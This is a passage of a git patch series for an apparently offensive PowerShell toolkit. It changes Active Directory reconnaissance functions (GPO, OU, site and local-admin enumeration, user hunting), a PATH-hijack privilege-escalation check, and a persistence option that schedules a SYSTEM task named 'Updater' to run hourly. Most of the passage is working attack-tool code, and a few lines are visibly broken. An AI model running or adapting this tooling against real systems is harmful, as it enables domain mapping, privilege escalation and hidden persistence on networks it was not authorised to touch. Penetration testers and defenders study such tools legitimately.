([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) { - Write-Error "Script must be run as administrator" -ErrorAction Stop - } - if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') { Write-Error "Script must be run in STA mode, relaunch powershell.exe with -STA flag" -ErrorAction Stop } @@ -577,6 +573,10 @@ function Get-System { } else { + if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) { + Write-Error "Script must be run as administrator" -ErrorAction Stop + } + if($Technique -eq 'NamedPipe') { # if we're using named pipe impersonation with a service Get-SystemNamedPipe -ServiceName $ServiceName -PipeName $PipeName From 26a0757612e5654b4f792b012ab8f10f95d391c9 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Tue, 15 Mar 2016 15:13:32 -0400 Subject: [PATCH 116/296] Added Get-SiteName to find the site a computer is a part of Added -ComputerName parameter to Get-NetGPO to enumerate all GPOs a given computer has applied Fixed bug in Find-GPOComputerAdmin and added site enumeration for GPO links --- Recon/PowerView.ps1 | 389 ++++++++++++++++++++++++++++++++------------ 1 file changed, 288 insertions(+), 101 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 5f9cc73a..80a1a9f6 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -749,7 +749,7 @@ filter Export-PowerViewCSV { if (Test-Path -Path $OutFile) { # hack to skip the first line of output if the file already exists - $ObjectCSV | Foreach-Object { $Start=$True }{ if ($Start) {$Start=$False} else {$_} } | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile + $ObjectCSV | ForEach-Object { $Start=$True }{ if ($Start) {$Start=$False} else {$_} } | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile } else { $ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile @@ -2857,7 +2857,7 @@ function Get-ObjectAcl { } try { - $Searcher.FindAll() | Where-Object {$_} | Foreach-Object { + $Searcher.FindAll() | Where-Object {$_} | ForEach-Object { $Object = [adsi]($_.path) if($Object.distinguishedname) { @@ -2888,7 +2888,7 @@ function Get-ObjectAcl { else { $_ } - } | Foreach-Object { + } | ForEach-Object { if($GUIDs) { # if we're resolving GUIDs, map them them to the resolved hash table $AclProperties = @{} @@ -3080,7 +3080,7 @@ function Add-ObjectAcl { } try { - $Searcher.FindAll() | Where-Object {$_} | Foreach-Object { + $Searcher.FindAll() | Where-Object {$_} | ForEach-Object { # adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects $TargetDN = $_.Properties.distinguishedname @@ -4659,7 +4659,7 @@ function Get-NetGroup { # cause the cache to calculate the token groups for the user $UserDirectoryEntry.RefreshCache("tokenGroups") - $UserDirectoryEntry.TokenGroups | Foreach-Object { + $UserDirectoryEntry.TokenGroups | ForEach-Object { # convert the token group sid $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value @@ -5085,7 +5085,7 @@ function Get-NetFileServer { $TargetUsers -Match $_.samAccountName } else { $True } - } | Foreach-Object { + } | ForEach-Object { # split out every potential file server path if($_.homedirectory) { SplitPath($_.homedirectory) @@ -5549,7 +5549,7 @@ function Get-GptTmpl { try { Write-Verbose "Parsing $GptTmplPath" - Get-Content $GptTmplPath -ErrorAction Stop | Foreach-Object { + Get-Content $GptTmplPath -ErrorAction Stop | ForEach-Object { if ($_ -match '\[') { # this signifies that we're starting a new section $SectionName = $_.trim('[]') -replace ' ','' @@ -5783,6 +5783,9 @@ function Get-NetGPO { [String] $DisplayName, + [String] + $ComputerName, + [String] $Domain, @@ -5806,21 +5809,95 @@ function Get-NetGPO { process { if ($GPOSearcher) { - if($DisplayName) { - $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))" + + if($ComputerName) { + $GPONames = @() + $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize + + if(!$Computers) { + throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name" + } + + # get the given computer's OU + $ComputerOUs = @() + ForEach($Computer in $Computers) { + # extract all OUs a computer is a part of + $DN = $Computer.distinguishedname + + $ComputerOUs += $DN.split(",") | ForEach-Object { + if($_.startswith("OU=")) { + $DN.substring($DN.indexof($_)) + } + } + } + + Write-Verbose "ComputerOUs: $ComputerOUs" + + # find all the GPOs linked to the computer's OU + ForEach($ComputerOU in $ComputerOUs) { + $GPONames += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $ComputerOU -FullData -PageSize $PageSize | ForEach-Object { + # get any GPO links + write-verbose "blah: $($_.name)" + $_.gplink.split("][") | ForEach-Object { + if ($_.startswith("LDAP")) { + $_.split(";")[0] + } + } + } + } + + Write-Verbose "GPONames: $GPONames" + + # find any GPOs linked to the site for the given computer + $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName + if($ComputerSite -and ($ComputerSite -ne 'ERROR')) { + $GPONames += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object { + if($_.gplink) { + $_.gplink.split("][") | ForEach-Object { + if ($_.startswith("LDAP")) { + $_.split(";")[0] + } + } + } + } + } + + $GPONames | Where-Object{$_ -and ($_ -ne '')} | ForEach-Object { + + # use the gplink as an ADS path to enumerate all GPOs for the computer + $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_ -PageSize $PageSize + $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" + + try { + $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Out = Convert-LDAPProperty -Properties $_.Properties + $Out | Add-Member Noteproperty 'ComputerName' $ComputerName + $Out + } + } + catch { + Write-Warning $_ + } + } } + else { - $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" - } + if($DisplayName) { + $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))" + } + else { + $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" + } - try { - $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { - # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties + try { + $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + } + catch { + Write-Warning $_ } - } - catch { - Write-Warning $_ } } } @@ -5863,7 +5940,7 @@ function New-GPOImmediateTask { .PARAMETER GPODisplayName - The GPO display name to to build the task for. + The GPO display name to build the task for. .PARAMETER Domain @@ -6121,7 +6198,7 @@ function Get-NetGPOGroup { ) # get every GPO from the specified domain with restricted groups set - Get-NetGPO -GPOName $GPOname -DisplayName $GPOname -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | Foreach-Object { + Get-NetGPO -GPOName $GPOname -DisplayName $GPOname -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | ForEach-Object { $Memberof = $Null $Members = $Null @@ -6415,7 +6492,8 @@ function Find-GPOLocation { $TargetObjects = $GPOMembers } - ForEach ($TargetSid in $TargetObjects) { + ForEach ($TargetSid in $TargetObjects) { + $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype @@ -6434,7 +6512,7 @@ function Find-GPOLocation { } # find any sites that have this GUID applied - Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | Foreach-Object { + Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object { ForEach ($TargetSid in $TargetObjects) { $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize @@ -6554,6 +6632,8 @@ function Find-GPOComputerAdmin { Throw "-ComputerName or -OUName must be provided" } + $GPOGroups = @() + if($ComputerName) { $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize @@ -6561,16 +6641,42 @@ function Find-GPOComputerAdmin { throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name" } + $TargetOUs = @() ForEach($Computer in $Computers) { # extract all OUs a computer is a part of $DN = $Computer.distinguishedname - $TargetOUs = $DN.split(",") | Foreach-Object { + $TargetOUs += $DN.split(",") | ForEach-Object { if($_.startswith("OU=")) { $DN.substring($DN.indexof($_)) } } } + + # enumerate any linked GPOs for the computer's site + $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName + if($ComputerSite -and ($ComputerSite -ne 'ERROR')) { + $GPOGroups += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object { + if($_.gplink) { + $_.gplink.split("][") | ForEach-Object { + if ($_.startswith("LDAP")) { + $_.split(";")[0] + } + } + } + } | ForEach-Object { + $GPOGroupArgs = @{ + 'Domain' = $Domain + 'DomainController' = $DomainController + 'ADSpath' = $_ + 'UsePSDrive' = $UsePSDrive + 'PageSize' = $PageSize + } + + # for each GPO link, get any locally set user/group SIDs + Get-NetGPOGroup @GPOGroupArgs + } + } } else { $TargetOUs = @($OUName) @@ -6578,19 +6684,19 @@ function Find-GPOComputerAdmin { Write-Verbose "Target OUs: $TargetOUs" - $TargetOUs | Where-Object {$_} | Foreach-Object { - - $OU = $_ + $TargetOUs | Where-Object {$_} | ForEach-Object { # for each OU the computer is a part of, get the full OU object - $GPOgroups = Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | Foreach-Object { + $GPOgroups += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | ForEach-Object { # and then get any GPO links - $_.gplink.split("][") | Foreach-Object { - if ($_.startswith("LDAP")) { - $_.split(";")[0] + if($_.gplink) { + $_.gplink.split("][") | ForEach-Object { + if ($_.startswith("LDAP")) { + $_.split(";")[0] + } } } - } | Foreach-Object { + } | ForEach-Object { $GPOGroupArgs = @{ 'Domain' = $Domain 'DomainController' = $DomainController @@ -6602,79 +6708,77 @@ function Find-GPOComputerAdmin { # for each GPO link, get any locally set user/group SIDs Get-NetGPOGroup @GPOGroupArgs } + } - # for each found GPO group, resolve the SIDs of the members - $GPOgroups | Where-Object {$_} | Foreach-Object { - $GPO = $_ + # for each found GPO group, resolve the SIDs of the members + $GPOgroups | Where-Object {$_} | ForEach-Object { + $GPO = $_ - if ($GPO.members) { - $GPO.members = $GPO.members | Where-Object {$_} | ForEach-Object { - if($_ -match '^S-1-.*') { - $_ - } - else { - # if there are any plain group names, try to resolve them to sids - (Convert-NameToSid -ObjectName $_ -Domain $Domain).SID - } - } | Sort-Object -Unique - } + if ($GPO.members) { + $GPO.members = $GPO.members | Where-Object {$_} | ForEach-Object { + if($_ -match '^S-1-.*') { + $_ + } + else { + # if there are any plain group names, try to resolve them to sids + (Convert-NameToSid -ObjectName $_ -Domain $Domain).SID + } + } | Sort-Object -Unique + } - $GPO.members | Foreach-Object { + $GPO.members | ForEach-Object { - # resolve this SID to a domain object - $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_ + # resolve this SID to a domain object + $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_ - $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype - $GPOComputerAdmin = New-Object PSObject - $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName - $GPOComputerAdmin | Add-Member Noteproperty 'OU' $OU - $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName - $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_ - $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $IsGroup - $GPOComputerAdmin + $GPOComputerAdmin = New-Object PSObject + $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName + $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName + $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_ + $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOComputerAdmin - # if we're recursing and the current result object is a group - if($Recurse -and $GPOComputerAdmin.isGroup) { + # if we're recursing and the current result object is a group + if($Recurse -and $GPOComputerAdmin.isGroup) { - Get-NetGroupMember -Domain $Domain -DomainController $DomainController -SID $_ -FullData -Recurse -PageSize $PageSize | Foreach-Object { + Get-NetGroupMember -Domain $Domain -DomainController $DomainController -SID $_ -FullData -Recurse -PageSize $PageSize | ForEach-Object { - $MemberDN = $_.distinguishedName + $MemberDN = $_.distinguishedName - # extract the FQDN from the Distinguished Name - $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' - $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype + $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype - if ($_.samAccountName) { - # forest users have the samAccountName set - $MemberName = $_.samAccountName + if ($_.samAccountName) { + # forest users have the samAccountName set + $MemberName = $_.samAccountName + } + else { + # external trust users have a SID, so convert it + try { + $MemberName = Convert-SidToName $_.cn } - else { - # external trust users have a SID, so convert it - try { - $MemberName = Convert-SidToName $_.cn - } - catch { - # if there's a problem contacting the domain to resolve the SID - $MemberName = $_.cn - } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $_.cn } - - $GPOComputerAdmin = New-Object PSObject - $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName - $GPOComputerAdmin | Add-Member Noteproperty 'OU' $OU - $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName - $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid - $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGroup - $GPOComputerAdmin } + + $GPOComputerAdmin = New-Object PSObject + $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName + $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName + $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid + $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGroup + $GPOComputerAdmin } } } @@ -6714,9 +6818,15 @@ function Get-DomainPolicy { .EXAMPLE - PS C:\> Get-NetGPO + PS C:\> Get-DomainPolicy + + Returns the domain policy for the current domain. + + .EXAMPLE + + PS C:\> Get-DomainPolicy -Source DC -DomainController MASTER.testlab.local - Returns the GPOs in the current domain. + Returns the policy for the MASTER.testlab.local domain controller. #> [CmdletBinding()] @@ -6770,25 +6880,25 @@ function Get-DomainPolicy { } # parse the GptTmpl.inf - Get-GptTmpl @ParseArgs | Foreach-Object { + Get-GptTmpl @ParseArgs | ForEach-Object { if($ResolveSids) { # if we're resolving sids in PrivilegeRights to names $Policy = New-Object PSObject - $_.psobject.properties | Foreach-Object { + $_.psobject.properties | ForEach-Object { if( $_.Name -eq 'PrivilegeRights') { $PrivilegeRights = New-Object PSObject # for every nested SID member of PrivilegeRights, try to # unpack everything and resolve the SIDs as appropriate - $_.Value.psobject.properties | Foreach-Object { + $_.Value.psobject.properties | ForEach-Object { - $Sids = $_.Value | Foreach-Object { + $Sids = $_.Value | ForEach-Object { try { if($_ -isnot [System.Array]) { Convert-SidToName $_ } else { - $_ | Foreach-Object { Convert-SidToName $_ } + $_ | ForEach-Object { Convert-SidToName $_ } } } catch { @@ -7685,7 +7795,7 @@ filter Invoke-CheckLocalAdminAccess { <# .SYNOPSIS - This function will use the OpenSCManagerW Win32API call to to establish + This function will use the OpenSCManagerW Win32API call to establish a handle to the remote host. If this succeeds, the current user context has local administrator acess to the target. @@ -7759,6 +7869,82 @@ filter Invoke-CheckLocalAdminAccess { } +filter Get-SiteName { +<# + .SYNOPSIS + + This function will use the DsGetSiteName Win32API call to look up the + name of the site where a specified computer resides. + + .PARAMETER ComputerName + + The hostname to look the site up for, default to localhost. + + .EXAMPLE + + PS C:\> Get-SiteName -ComputerName WINDOWS1 + + Returns the site for WINDOWS1.testlab.local. + + .EXAMPLE + + PS C:\> Get-NetComputer | Invoke-CheckLocalAdminAccess + + Returns the sites for every machine in AD. +#> + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = $Env:ComputerName + ) + + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField + + # if we get an IP address, try to resolve the IP to a hostname + if($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') { + $IPAddress = $Computer + $Computer = [System.Net.Dns]::GetHostByAddress($Computer) + } + else { + $IPAddress = @(Get-IPAddress -ComputerName $Computer)[0].IPAddress + } + + $PtrInfo = [IntPtr]::Zero + + $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo) + Write-Debug "Get-SiteName result for $Computer : $Result" + + $ComputerSite = New-Object PSObject + $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer + $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress + + if ($Result -eq 0) { + $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo) + $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename + } + elseif($Result -eq 1210) { + Write-Verbose "Computername '$Computer' is not in a valid form." + $ComputerSite | Add-Member Noteproperty 'SiteName' 'ERROR' + } + elseif($Result -eq 1919) { + Write-Verbose "Computer '$Computer' is not in a site" + + $ComputerSite | Add-Member Noteproperty 'SiteName' $Null + } + else { + Write-Verbose "Error" + $ComputerSite | Add-Member Noteproperty 'SiteName' 'ERROR' + } + + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + $ComputerSite +} + + filter Get-LastLoggedOn { <# .SYNOPSIS @@ -9366,7 +9552,7 @@ function Invoke-ProcessHunter { else { ForEach ($Domain in $TargetDomains) { Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" - $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential| Foreach-Object { + $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential| ForEach-Object { $_.MemberName } } @@ -9703,7 +9889,7 @@ function Invoke-EventHunter { else { ForEach ($Domain in $TargetDomains) { Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" - $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential | Foreach-Object { + $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.MemberName } } @@ -11969,7 +12155,7 @@ function Find-ManagedSecurityGroups { #> # Go through the list of security groups on the domain and identify those who have a manager - Get-NetGroup -FullData -Filter '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' | Select-Object -Unique distinguishedName,managedBy,cn | Foreach-Object { + Get-NetGroup -FullData -Filter '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' | Select-Object -Unique distinguishedName,managedBy,cn | ForEach-Object { # Retrieve the object that the managedBy DN refers to $group_manager = Get-ADObject -ADSPath $_.managedBy | Select-Object cn,distinguishedname,name,samaccounttype,samaccountname @@ -12141,8 +12327,9 @@ $FunctionDefinitions = @( (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType())), + (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), + (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType())), (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int])), (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), From 37389e965895b1f478fef8f65ad9699705c191a7 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Fri, 18 Mar 2016 06:13:05 -0400 Subject: [PATCH 117/296] Bug fix in Find-GPOLocation --- Recon/PowerView.ps1 | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 80a1a9f6..e6f62333 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -5746,6 +5746,10 @@ function Get-NetGPO { The GPO display name to query for, wildcards accepted. + .PARAMETER ComputerName + + Return all GPO objects applied to a given computer (FQDN). + .PARAMETER Domain The domain to query for GPOs, defaults to the current domain. @@ -6469,6 +6473,11 @@ function Find-GPOLocation { $GPOguid = $_.GPOName $GPOMembers = $_.Members + if(!$TargetObjects) { + # if the * wildcard was used, set the ObjectDistName as the GPO member sid set + $TargetObjects = $GPOMembers + } + if( -not $ProcessedGUIDs[$GPOguid] ) { $GPOname = $_.GPODisplayName $Filters = $_.Filters @@ -6487,11 +6496,6 @@ function Find-GPOLocation { $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize } - if(!$TargetObjects) { - # if the * wildcard was used, set the ObjectDistName as the GPO member sid set - $TargetObjects = $GPOMembers - } - ForEach ($TargetSid in $TargetObjects) { $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize From 84b8e1da9ae80de0b7e677f8b9d4b631778c02ea Mon Sep 17 00:00:00 2001 From: Jon Cave Date: Sun, 20 Mar 2016 21:28:22 +0000 Subject: [PATCH 118/296] Find-PathHijack: Expand environment variables in path Paths containing environment variables can cause false-positives to occur, e.g. `%SystemRoot%\system32\WindowsPowerShell\v1.0\`. `Find-PathHijack` will believe this is a relative path and will report it as hijackable if the current directory is writeable. --- Privesc/PowerUp.ps1 | 1 + 1 file changed, 1 insertion(+) diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 0d71b143..9954c98e 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -1283,6 +1283,7 @@ function Find-PathHijack { if (-not $Path.EndsWith("\")){ $Path = $Path + "\" } + $Path = [System.Environment]::ExpandEnvironmentVariables($Path) # reference - http://stackoverflow.com/questions/9735449/how-to-verify-whether-the-share-has-write-access $TestPath = Join-Path $Path ([IO.Path]::GetRandomFileName()) From 6daaef2706953caabbce44e788493c99de8970eb Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sun, 3 Apr 2016 08:09:33 +0100 Subject: [PATCH 119/296] //Group -> //Groups --- Recon/PowerView.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 8672e76d..d95443ff 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -5440,7 +5440,7 @@ function Get-GroupsXML { $FolderPath = $Parts[0..($Parts.length-2)] -join '\' $FilePath = $Parts[-1] $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' - + Write-Verbose "Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive" try { @@ -5462,7 +5462,7 @@ function Get-GroupsXML { [xml] $GroupsXMLcontent = Get-Content $GroupsXMLPath -ErrorAction Stop # process all group properties in the XML - $GroupsXMLcontent | Select-Xml "//Group" | Select-Object -ExpandProperty node | ForEach-Object { + $GroupsXMLcontent | Select-Xml "//Groups" | Select-Object -ExpandProperty node | ForEach-Object { $Members = @() $MemberOf = @() From c8ff1940898bd6b9cc9ab08a3193acd3a3902def Mon Sep 17 00:00:00 2001 From: leechristensen Date: Mon, 11 Apr 2016 11:02:31 +0100 Subject: [PATCH 120/296] Change ComputerName default to the computer's name Change ComputerName default so Disabled doesn't report error --- Recon/PowerView.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index e6f62333..f921e03c 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -7014,7 +7014,7 @@ function Get-NetLocalGroup { [Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)] [Alias('HostName')] [String[]] - $ComputerName = 'localhost', + $ComputerName = "$($env:COMPUTERNAMECOMPUTERNAME)", [Parameter(ParameterSetName = 'WinNT')] [Parameter(ParameterSetName = 'API')] From a6564f44833fa6fbbc8d05f337781abf03f05e44 Mon Sep 17 00:00:00 2001 From: pyllyukko Date: Sat, 16 Apr 2016 15:44:05 +0300 Subject: [PATCH 121/296] Added ScheduledTaskHourly to New-ElevatedPersistenceOption --- Persistence/Persistence.psm1 | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/Persistence/Persistence.psm1 b/Persistence/Persistence.psm1 index b27b9811..b957cb78 100644 --- a/Persistence/Persistence.psm1 +++ b/Persistence/Persistence.psm1 @@ -55,6 +55,10 @@ function New-ElevatedPersistenceOption Starts the payload daily. +.PARAMETER Hourly + + Starts the payload hourly. + .PARAMETER At Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'. @@ -83,6 +87,7 @@ function New-ElevatedPersistenceOption $PermanentWMI, [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )] + [Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )] [Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )] [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )] [Switch] @@ -97,6 +102,10 @@ function New-ElevatedPersistenceOption [Switch] $Daily, + [Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )] + [Switch] + $Hourly, + [Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )] [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )] [DateTime] @@ -156,6 +165,12 @@ function New-ElevatedPersistenceOption $PersistenceOptionsTable['Time'] = $At } + 'ScheduledTaskHourly' + { + $PersistenceOptionsTable['Method'] = 'ScheduledTask' + $PersistenceOptionsTable['Trigger'] = 'Hourly' + } + 'Registry' { $PersistenceOptionsTable['Method'] = 'Registry' @@ -574,6 +589,11 @@ Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Obj $ElevatedTrigger = "schtasks /Create /RU system /SC DAILY /ST $($ElevatedPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR " } + 'Hourly' + { + $ElevatedTrigger = "schtasks /Create /RU system /SC HOURLY /TN Updater /TR " + } + 'OnIdle' { $ElevatedTrigger = "schtasks /Create /RU system /SC ONIDLE /I 1 /TN Updater /TR " From c52f9d712c7842f0318c821552501e9fde39740f Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sun, 24 Apr 2016 06:57:36 -0400 Subject: [PATCH 122/296] For PowerView, added $Searcher.CacheResults = $False to Get-DomainSearcher Added dispose() approach for the following cmdlets: Get-NetUser, Get-ObjectAcl/Add-ObjectAcl, Get-GUIDMap, Get-NetComputer, Get-ADObject, Get-NetOU, Get-NetSite, Get-NetSubnet, Get-NetGroup, Get-NetGroupMember, Get-DFSshare, Get-NetGPO, Get-NetDomainTrust --- Recon/PowerView.ps1 | 90 +++++++++++++++++++++++++++++++++++---------- 1 file changed, 71 insertions(+), 19 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index c6ce1d22..4c64e80d 100644 --- a/Recon/PowerView.ps1 +++ 